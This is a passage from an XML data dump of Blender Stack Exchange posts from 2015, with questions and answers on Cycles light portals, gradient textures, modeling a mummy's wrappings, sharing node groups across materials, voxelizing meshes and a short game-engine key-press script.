Portals&lt;/em&gt;&lt;/a&gt;, which can be used to guide rays through openings. This is useful for indoor scenes lit by an outside source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To set up a light portal, add an area lamp which covers an opening (e.g. a window), then enable &lt;em&gt;Portal&lt;/em&gt; in the lamp settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b8gLJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The direction matters, the lamp should be pointing into the interior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Portals will actually make sampling slower, but converge the scene with far fewer samples. So much so that if you reduce the sample count, you can get &lt;em&gt;less&lt;/em&gt; noise with fewer samples and a shorter render time than if you didn't use portals:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rxEKJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sbvZ9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-06-30T17:59:39.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33155" PostTypeId="2" ParentId="33150" CreationDate="2015-06-29T08:55:09.283" Score="11" Body="&lt;p&gt;Using a &lt;em&gt;Gradient texture&lt;/em&gt; you can fade the volumetric emission off however you want:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/85wRf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, since it should fade out spherically from the center of  the ring I used a spherical gradient:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IQ5Zg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The vector input of the gradient node defines the position and size of the resulting gradient.&lt;br&gt;&#xA;Since in this case we want the center of the gradient to be in the center of the ring, the &lt;em&gt;Object Coordinates&lt;/em&gt; (0,0,0 at the object's origin) are what we want. The multiply node scales the coordinate system, which lets us control the size of the gradient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the image above the rays are made up of an extruded text object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6gEuO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For linear gradients, you might not even need the gradient node. For example, the &lt;em&gt;Generated&lt;/em&gt; coordinate system has 0,0,0 at one corner of the object's bounding box and 1,1,1 at the opposite corner. Using this, you could fade an object out along it's length by using one of the axis as the gradient:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ESC2S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-06-29T08:55:09.283" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33156" PostTypeId="2" ParentId="33143" CreationDate="2015-06-29T08:55:35.357" Score="1" Body="&lt;p&gt;First, it will be helpful to add an additional small editor window to the far right of the default scene, running the full length of the blender window. Set this new window to the outliner, and combine the outliner in the default set up with the properties editor below it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start with the body, creating this from a UV sphere in object mode, stretched along the z (vertical) axis. In the same layer, also in object mode, add similarly stretched UV spheres sized appropriately for the upper and lower arms, upper and lower legs, feet, and head. Place these spheres in the proper position relative to one another. Add an unstretched UV sphere oriented so one of the poles (the point where all of the longitude lines come together) is facing out of the head, and scale it down to form the eye, and place it into the head, adjusting the geometry of the head shpere as necessary. Rename each object as you add it, so the names of the various body parts are easily identifiable. The hands appear to call for a different modeling approach, more akin to the traditional cube based modeling technique; leave these for later. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, duplicate each of the stretched UV spheres individually in object mode, keeping each as a separate object, moving each to a different layer than the body spheres created above. When done, you'll have two copies of your of your body, one in each of two layers. Scaling the spheres in one copy up a little, perhaps 1.005, or 1.01; these larger spheres in the new layer will provide a form for creating the mummy's wrappings. Hide all of the larger spheres except the one you are working with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using retopology principles, start with one of the wrapping form spheres, add a plane, keeping the plane and the extrusions from it as a separate mesh. Create a vertex group for this plane mesh, naming it appropriately. Size the plane to appropriate dimensions for the wrapping, rotate the plane so that it is close to, and aligned with the wrapping form mesh, activate snapping of vertices to the closest face, and extrude the plane to form the wrapping around each element of the model. Since it's a cartoon-like figure, it's probably not necessary to worry about making the wrapping continuous across the boundaries between spheres in the same way it might be if it were a more realistic figure, for example, between the upper and lower legs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the wrappings are done, separate the meshes from the wrapping forms, make a copy of the original body parts, and move the wrappings and the copy of the body parts to the same layer (or to a new file). Now the wrappings will fit around the body elements. Make your animation rig for the character, linking the sphere elements of the body and the wraps to the rig. Create and animate the hands, and attach them to the rig. Assign materials and textures as necessary. For animation purposes it might be desirable to split the body into an upper and lower part by dividing the body sphere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While using a mirror modifier might save a bit of time with some of the creation of the wrapping, especially on the legs and arms, I deliberately did not use it because it limits options in creating the wraps for the arms and legs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I've uploaded a ~.blend file demonstrating my suggested wrapping technique to &lt;a href=&quot;https://www.dropbox.com/s/jz3b2bed8btksxb/wrapping.blend?dl=0&quot; rel=&quot;nofollow&quot;&gt;my dropbox account&lt;/a&gt;. The stretched sphere in this case is the wrapping form, and while it is part off the same object as the wrap, the two submeshes are separate, and each is assigned to a separate vertex group so one of the other can easily be selected. The trick here is to extrude an edge from the right side edge of the wrap, choose each vertex of the edge extruded from, and hover over the desired face in the wrapping form with snapping turned on and the target set to &quot;closest&quot;. The wrap snaps to the location on the plane below closest to the vertex. Notice that the wrapping is at an angle from the horizontal. If you want a tightly wrapped mummy, keep the angle at which the extrusions are made low, so that when a complete circuit of the form is made, you can overlap the extrusions over the previous circuit of the wrap. If you want the wrapping not so tightly wrapped, so that parts of the underlying character mesh show through, do not overlap the extrusions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the character can be created as a connected mesh, modeling the various parts of the character as separate stretched spheres allows for the special effect that when surprised (for example), the parts of the mesh can be separated and then reassemble in game. This wrapping technique works with  the construction technique used in the other answer to the question. In that case, it might be useful to use vertex groups to hide bits of the combined mesh to make wrapping easier.   &lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2015-06-30T19:05:04.547" LastActivityDate="2015-06-30T19:05:04.547" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33157" PostTypeId="2" ParentId="6439" CreationDate="2015-06-29T09:08:59.843" Score="6" Body="&lt;p&gt;Select object, hit &lt;kbd&gt;SPACE BAR&lt;/kbd&gt;, write &lt;strong&gt;Bake Action&lt;/strong&gt; and Enter.&#xA;In pop-up properties window you can keep default setup for this purpose.&#xA;Confirm, that's it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CtJum.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2214" LastActivityDate="2015-06-29T09:08:59.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33158" PostTypeId="1" AcceptedAnswerId="33165" CreationDate="2015-06-29T10:00:13.713" Score="1" ViewCount="1427" Body="&lt;p&gt;I was wondering if it is possible, using Cycles, to combine two materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have wood cubes which have a &lt;a href=&quot;http://www.blendswap.com/blends/view/52626&quot; rel=&quot;nofollow noreferrer&quot;&gt;procedural wood material from Blendswap&lt;/a&gt;, but each of them needs a texture on it (a letter).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, I duplicate my &quot;wood&quot; material and plug my texture on it.&#xA;So I have 3 materials (wood-A, wood-B, wood-C) while the &quot;wood&quot; part of the material is always the same, only the texture is changing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ggaD7.jpg&quot; alt=&quot;my actual material&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to make this easier to handle ?&#xA;Like combining a &quot;wood&quot; material (identical for the three cubes) with a different texture for each of them ?&lt;/p&gt;&#xA;" OwnerUserId="14306" LastEditorUserId="599" LastEditDate="2015-06-29T19:30:54.850" LastActivityDate="2015-06-29T19:30:54.850" Title="How can I combine two materials in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33159" PostTypeId="2" ParentId="33125" CreationDate="2015-06-29T11:38:05.067" Score="-1" Body="&lt;p&gt;You can make use of third party assets to do this for you, the MegaFiers asset for example has most of the modifiers/deformers found in Max, Maya etc so you could maybe recreate it with that, it also has support for Point Cache playback of industry standard cache files such as .pc2 .mdd and .mc files.&lt;/p&gt;&#xA;" OwnerUserId="15306" LastActivityDate="2015-06-29T11:38:05.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33160" PostTypeId="2" ParentId="31106" CreationDate="2015-06-29T12:00:28.453" Score="1" Body="&lt;p&gt;BAM (Bam Asset Manager) is able to manipulate .blend files (it can extract/pack everything needed by a given .blend (libraries, images...) into a single file), you may want to have a look at &lt;a href=&quot;https://developer.blender.org/diffusion/BAM/browse/master/bam/blend/&quot; rel=&quot;nofollow&quot;&gt;its code&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-06-29T12:00:28.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33161" PostTypeId="1" AcceptedAnswerId="33230" CreationDate="2015-06-29T12:29:43.057" Score="4" ViewCount="1848" Body="&lt;p&gt;I modeled a sun, placed it up in the sky of my scene, and rendered an HDR image to use as an environment map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that when I then make a World material and load this image into the Environment Texture node it is totally out of alignment with where the sun object is in my sky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My camera is in the World center, and I've tried various rotation settings, including clearing its rotation. No luck.&#xA;I've also tried to shift the alignment of the Environment Texture node's image via its Vector input, but that caused nothing to show up at all.&#xA;Any ideas what I need to do differently?&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="2952" LastEditDate="2015-12-06T07:29:04.317" LastActivityDate="2015-12-06T07:29:04.317" Title="Rendered environment map is misaligned to World" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;texturing&gt;&lt;coordinates&gt;&lt;world&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33162" PostTypeId="1" AcceptedAnswerId="34067" CreationDate="2015-06-29T12:33:29.477" Score="2" ViewCount="198" Body="&lt;p&gt;I have an arbitrary edge that I would like to move so that it is in line with an arbitrary empty (in this case it will cross over the empty):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xxjSR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume that I will need to perhaps find the translation matrix of the 'line' representing the shortest distance between the edge and the empty but how would I do that using script?&lt;/p&gt;&#xA;" OwnerUserId="11249" LastActivityDate="2015-07-16T14:13:17.060" Title="Move an edge in line with an empty" Tags="&lt;python&gt;&lt;scripting&gt;&lt;transforms&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33163" PostTypeId="1" AcceptedAnswerId="33462" CreationDate="2015-06-29T13:23:04.507" Score="1" ViewCount="3902" Body="&lt;p&gt;My sword looks fine in solid view, but when I go into rendered view, it turns completely grey.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have mipmaps off, texture solid on and i have light.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks fine in solid view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/sVBF7bq.png&quot; alt=&quot;intended coloring&quot;&gt;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I switch to rendered view, the sword is entirely grey.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/mUI1kSD.png&quot; alt=&quot;rendered coloring&quot;&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to file: &lt;a href=&quot;http://www.pasteall.org/blend/36878&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/36878&lt;/a&gt;&#xA;Link to Sword: &lt;a href=&quot;http://www.pasteall.org/blend/36888&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/36888&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15213" LastEditorUserId="15213" LastEditDate="2015-07-05T13:20:51.740" LastActivityDate="2015-07-05T16:13:21.300" Title="Object turning grey in rendered view" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;objects&gt;&lt;blender-internal-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="33164" PostTypeId="2" ParentId="33148" CreationDate="2015-06-29T13:31:25.700" Score="1" Body="&lt;p&gt;The 'Minecraft Properties' panel is not a panel that appears in Blender by default and will only appear when you have run a script to enable it. You will either need to write your own Python script to create it or obtain an existing 'IK/FK UI' script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tutorial maker doesn't seem to have included the script for the panel in the downloads they provide, but they do link to several tutorials in the video description on how to create your own UI such as &lt;a href=&quot;https://vimeo.com/19661992&quot; rel=&quot;nofollow noreferrer&quot;&gt;this one&lt;/a&gt; by CG Cookie.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="2217" LastEditDate="2017-03-17T23:30:59.303" LastActivityDate="2017-03-17T23:30:59.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33165" PostTypeId="2" ParentId="33158" CreationDate="2015-06-29T14:11:16.690" Score="2" Body="&lt;p&gt;That part you've labeled &quot;wood&quot; - group those nodes.&#xA;Then you can drop the group into each material: 1, 2, 3.&#xA;A group is a shared datablock, so changing its contents inside of one material changes it for all instances.&lt;/p&gt;&#xA;" OwnerUserId="2952" LastActivityDate="2015-06-29T14:11:16.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33166" PostTypeId="1" AcceptedAnswerId="33171" CreationDate="2015-06-29T15:27:41.220" Score="4" ViewCount="1981" Body="&lt;p&gt;Is it possible to convert a mesh into a voxel image? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This operation would make white voxels inside the mesh, and black voxels outside the mesh, and would either:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;write a standard 3D image file format, or just a raw voxel dump; or&lt;/li&gt;&#xA;&lt;li&gt;create a stack of 2D images in each axis&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="822" LastActivityDate="2015-06-29T17:11:36.293" Title="Converting a mesh to voxels" Tags="&lt;mesh&gt;&lt;export&gt;&lt;image&gt;&lt;conversion&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33167" PostTypeId="2" ParentId="33143" CreationDate="2015-06-29T15:39:40.593" Score="5" Body="&lt;p&gt;Unfortunately, this site does not allow for me to give you specific tutorial-like instructions, but I will try my best to give tips and address some of the problems that will pop up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay, for one, you are incorrect when you say&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This means that the traditional &quot;start with the face, then work your way back to the neck&quot; style of facial modelling doesn't work effectively.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;starting on the head &lt;em&gt;will&lt;/em&gt; work effectively, it just needs to be adapted to fit your needs. The mesh primitive you'll need is the cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Subdivide it twice in edit mode with &quot;smoothness&quot; turned up to 1.00.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wtMsl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know why my image is skewed, but that's (almost)what it will look like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &quot;Import images as planes&quot; addon to put in your concept art.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/beoNf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By modelling the head separate from the body, all you will have to worry about is connections. Snap to vertex will be optimal for joining them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EU5vi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;another of your favorite tools, especially on joints and such, will be &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;V&lt;/kbd&gt; &gt; &lt;em&gt;smooth vertex&lt;/em&gt;. this gets rid of nasty sharp angles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that when you model limbs, you will want to extrude the selected faces all the way to the end, and afterwards add loopcuts for detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CPOg5.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/dePjz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hands will be the hardest, just make sure to turn proportional editing to &quot;Connected&quot;, to avoid screwing up the other fingers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used a mirror modifier for all of the modelling until the end when I applied the modifier and extruded an eye.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I wasn't trying to do the work for you!!&lt;/strong&gt; but in questions like this, unless you state specific problems you run into, it's &lt;em&gt;very&lt;/em&gt; hard to answer without going through it yourself. Heres the base-mesh I made if you want it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/304/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=304&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Honestly, kudos for trying, but modelling your wrappings as part of the mesh is a no-go. You can either use brasshats idea of extruding a plane, or you can sculpt them on using &lt;em&gt;Clay strips&lt;/em&gt;, &lt;em&gt;Crease&lt;/em&gt;, and &lt;em&gt;Flatten&lt;/em&gt; brushes. In order to do these wraps, you have several practical options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres the best way i was able to find while making wraps.&#xA;Turn on face snapping (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Tab&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cvMc9.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Left click on the model to place the cursor there, now add a plane. delete all but one of its edges. you will now need to extrude the remaining edge around the head in the place that you want the wrap to be. &lt;em&gt;Don't worry if it looks like crap and won't stay on the outside of the mesh right now! We're gonna fix it!&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The modifier stack you'll be creating today will look like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4wVC5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The subdivision mod adds more vertexes for the others to work with. The Shirkwrap mods target is set to the mummy, and causes the wraps to follow it closer, just like ceram-wrap in the microwave. Lastly, the solidify modifier adds thickness to the wraps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can now go back into edit mode to fix problems. Any parts where the mummies head is poking through can be fixed by adding a loopcut &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AgMbd.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/vmZBc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you are ready to add more wraps. repeat the process with varying thickness on the solidify in order to swaddle your mummy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PnK67.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-06-30T19:22:45.727" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33168" PostTypeId="1" CreationDate="2015-06-29T15:46:27.973" Score="1" ViewCount="102" Body="&lt;p&gt;I am trying to using blender to do scientific visualization. Currently, I have the obj files that changing over time (around 250 obj files). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to change them in to a movie, so that each frame will have one obj file that showed and the whole movie will have 250 frames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know how to do it with blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;****UPDATE****&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution with obj files posted in the link is no longer able to work since my version is 6.74. And it only works for 6.62 and the solution script is also removed, so I am not able to work with the solution anymore. It would be nice if someone can provide me the script here.&lt;/p&gt;&#xA;" OwnerUserId="15307" LastEditorUserId="15307" LastEditDate="2015-06-29T20:46:24.803" LastActivityDate="2015-06-29T20:46:24.803" Title="Chaining multiple obj files and make them as a movie" Tags="&lt;animation&gt;&lt;objects&gt;&lt;import&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-06-29T17:32:19.500" ContentLicense="CC BY-SA 3.0" />
  <row Id="33169" PostTypeId="1" AcceptedAnswerId="33175" CreationDate="2015-06-29T16:38:36.987" Score="1" ViewCount="139" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KaQ7K.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this image, the top bone is rotated by 45 degrees, but the model is deformed like there was a rotation of 90 degrees. This also happens for translation and scaling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each vertex, the sum of the weights is one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing? The code for skinning is inspired by the second piece of code here: &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Py/Scripts/Cookbook/Code_snippets/Armatures&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rigged mesh&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="14949" LastActivityDate="2015-06-29T18:27:24.103" Title="Bone rotation applied twice" Tags="&lt;transforms&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33171" PostTypeId="2" ParentId="33166" CreationDate="2015-06-29T17:11:36.293" Score="2" Body="&lt;p&gt;As Chebhou suggested in the comments, the 2D image stack can be achieved with dynamic painting an animated plane.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a plane, and animate it to pass through the main mesh&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the physics panel of the main mesh, enable Dynamic Paint and make it a brush&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the physics panel of the plane, enable Dynamic Paint and make it a canvas with these settings:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Format: Image Sequence&lt;/li&gt;&#xA;&lt;li&gt;Dry time: 1&lt;/li&gt;&#xA;&lt;li&gt;Dissolve time: 1&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the Dynamic Paint Output panel, click &quot;Bake Image Sequence&quot; to write out the plane/mesh intersection at each frame of the animation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="822" LastActivityDate="2015-06-29T17:11:36.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33172" PostTypeId="2" ParentId="33151" CreationDate="2015-06-29T17:21:35.330" Score="2" Body="&lt;p&gt;Here you have simple Python script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;from bge import logic&#xA;&#xA;REFRESH_RATE = 60&#xA;&#xA;cont = logic.getCurrentController()&#xA;owner = cont.owner&#xA;&#xA;owner[&quot;timer&quot;] += 1&#xA;&#xA;keyboard = bge.logic.keyboard&#xA;JUST_ACTIVATED = bge.logic.KX_INPUT_JUST_ACTIVATED&#xA;&#xA;if keyboard.events[bge.events.SPACEKEY] == JUST_ACTIVATED:&#xA;    if owner[&quot;pressed&quot;] &amp;lt; 2:&#xA;        owner[&quot;toggle&quot;] = not owner[&quot;toggle&quot;]&#xA;        owner[&quot;pressed&quot;] += 1&#xA;if owner[&quot;timer&quot;] &amp;gt;= REFRESH_RATE/2:&#xA;    owner[&quot;timer&quot;] = 0&#xA;    owner[&quot;pressed&quot;] = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;toggle&lt;/code&gt; property is used here just to present the effect of the mechanism, it changes if the user input is accepted. Keep in mind that the &lt;code&gt;REFRESH_RATE&lt;/code&gt; should be the same as the one stored in Render Properties. &lt;br&gt;&#xA;The Logic Editor setup in this case would be:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YnIML.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also download it as .blend file here:&lt;br&gt;&#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/305/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=305&quot; /&gt;&lt;/a&gt;&lt;br&gt;&lt;br&gt;&#xA;I hope this can help you solve the problem. Cheers.&lt;/p&gt;&#xA;" OwnerUserId="14817" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-06-29T17:57:39.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33174" PostTypeId="2" ParentId="33138" CreationDate="2015-06-29T17:34:42.343" Score="1" Body="&lt;p&gt;After applying the modifier, you can convert the object into a mesh:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/2917/how-can-curves-be-converted-to-meshes&quot;&gt;How can curves be converted to meshes?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will &quot;flatten&quot; the results you expected from the modifier into the mesh and you will see the transformed vertices and be able to select them in edit mode.&lt;/p&gt;&#xA;" OwnerUserId="12697" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-06-29T17:34:42.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33175" PostTypeId="2" ParentId="33169" CreationDate="2015-06-29T18:04:59.460" Score="2" Body="&lt;p&gt;This is caused by multiple armature modifiers on the mesh. Delete one to get better results. Notice that for each number of armature modifiers on the mesh, it (the mesh) is bent again by the same angle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xnb3b.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="6385" LastEditDate="2015-06-29T18:27:24.103" LastActivityDate="2015-06-29T18:27:24.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33177" PostTypeId="2" ParentId="33073" CreationDate="2015-06-29T19:38:56.887" Score="0" Body="&lt;p&gt;I filed a bug report and did some testing. Seems like the cause of this problem might have to do with my graphics drivers.&lt;/p&gt;&#xA;" OwnerUserId="1037" LastActivityDate="2015-06-29T19:38:56.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
